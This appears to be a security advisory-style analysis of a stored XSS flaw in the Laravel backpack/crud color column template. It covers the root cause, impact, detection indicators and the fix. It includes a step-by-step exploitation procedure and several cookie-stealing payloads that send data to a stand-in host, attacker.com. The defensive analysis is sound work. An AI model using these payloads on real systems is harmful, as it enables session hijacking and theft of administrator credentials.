CVE-2026-54181: 
PHP vulnerability analysis and mitigation

CVE-2026-54181 is a Stored Cross-Site Scripting (XSS) vulnerability in the Laravel Backpack CRUD package (backpack/crud) affecting the color column type Blade template. The bug causes the escaped/unescaped rendering branches in src/resources/views/crud/columns/color.blade.php to be inverted, resulting in color column values being rendered as raw HTML by default. Affected versions are >= 6.0.0, < 6.8.14 and >= 7.0.0, < 7.0.38. The vulnerability was originally reported by Vishal Shukla (@shukla304) and published on June 15, 2026, with the advisory added to the GitHub Advisory Database on August 20, 2026. It carries a CVSS v3.1 base score of 5.4 (Medium) (GitHub Advisory).

The root cause is an inverted conditional in color.blade.php (CWE-79, CWE-1023): when $column['escaped'] is true (the default), the template uses Laravel's raw {!! $column['text'] !!} syntax instead of the HTML-escaping {{ $column['text'] }} used by every other column template in the library. This means any string stored in a color-typed column is rendered as unescaped HTML in the admin list view. An attacker with write access to a color column — for example, through a form submission or API endpoint that lacks server-side color validation — can store a JavaScript payload (e.g., <script>document.location='https://attacker.com/?c='+document.cookie</script>) that executes in the browser of any user who subsequently views the list, including administrators (GitHub Advisory, Security Advisory).

Successful exploitation results in Stored XSS with a scope change, meaning attacker-controlled JavaScript executes in the security context of the victim's browser session. The highest-risk scenario involves an administrator viewing the CRUD list view, where the injected script can steal session cookies and CSRF tokens, enabling session hijacking or unauthorized administrative actions. There is no direct availability impact, but confidentiality and integrity are both partially compromised through credential theft and potential unauthorized data modification (GitHub Advisory).

No public exploit code, active in-the-wild exploitation, or threat actor attribution has been reported for this vulnerability. Exploitation requires low privileges (write access to a color-typed column) and user interaction (a victim must view the affected list page). The CVE status is listed as Reserved, and there is no indication it has been added to the CISA KEV catalog. The EPSS score is not publicly available at this time (GitHub Advisory).

1. Identify a target: Locate a Laravel application using backpack/crud versions >= 6.0.0, < 6.8.14 or >= 7.0.0, < 7.0.38 that exposes a CRUD interface with a color-typed column.
2. Obtain write access: Authenticate with any low-privileged account that has permission to create or edit records containing the color column, or identify an unauthenticated endpoint that writes to such a column.
3. Craft a malicious payload: Instead of a valid CSS color value (e.g., #ff0000), submit a JavaScript payload such as <script>fetch('https://attacker.com/?c='+document.cookie)</script> or <img src=x onerror=this.src='https://attacker.com/?c='+document.cookie> as the color field value.
4. Store the payload: Submit the form or API request so the malicious string is persisted to the database without server-side validation.
5. Trigger execution: Wait for a privileged user (e.g., an administrator) to navigate to the CRUD list view containing the affected record. The inverted template logic renders the payload as raw HTML, executing the JavaScript in the victim's browser.
6. Harvest credentials: The injected script exfiltrates session cookies or CSRF tokens to the attacker's server, enabling session hijacking or further unauthorized actions (GitHub Advisory, Security Advisory).

• Database: Records in tables with color-typed CRUD columns containing non-CSS values such as <script>, onerror=, javascript:, or other HTML/JS constructs instead of valid hex color codes (e.g., #RRGGBB).
• Network: Outbound HTTP requests from admin browsers to unexpected external domains shortly after viewing CRUD list pages; requests containing URL-encoded cookie or token data in query parameters.
• Logs: Web server or application logs showing POST/PUT requests to CRUD create/edit endpoints with color field values containing HTML tags or JavaScript keywords.
• Browser/Session: Unexpected session invalidation or new sessions originating from unfamiliar IP addresses following administrator access to affected list views.

Upgrade backpack/crud to version 6.8.14 (for the v6 branch) or 7.0.38 (for the v7 branch), which correct the inverted branch logic in color.blade.php via PR #5992 (Release 6.8.14, Release 7.0.38). As a temporary workaround for teams unable to upgrade immediately, add strict server-side validation at the model layer to ensure only valid CSS color values are stored — for example, enforcing the regex /^#[0-9a-fA-F]{3,6}$/ before persisting color field data (Security Advisory).

The vulnerability was reported by security researcher Vishal Shukla (@shukla304) via sechub.dev and coordinated by the Backpack maintainer tabacitu. No significant broader media coverage or notable public social media discussion has been identified beyond the GitHub advisory publication (GitHub Advisory).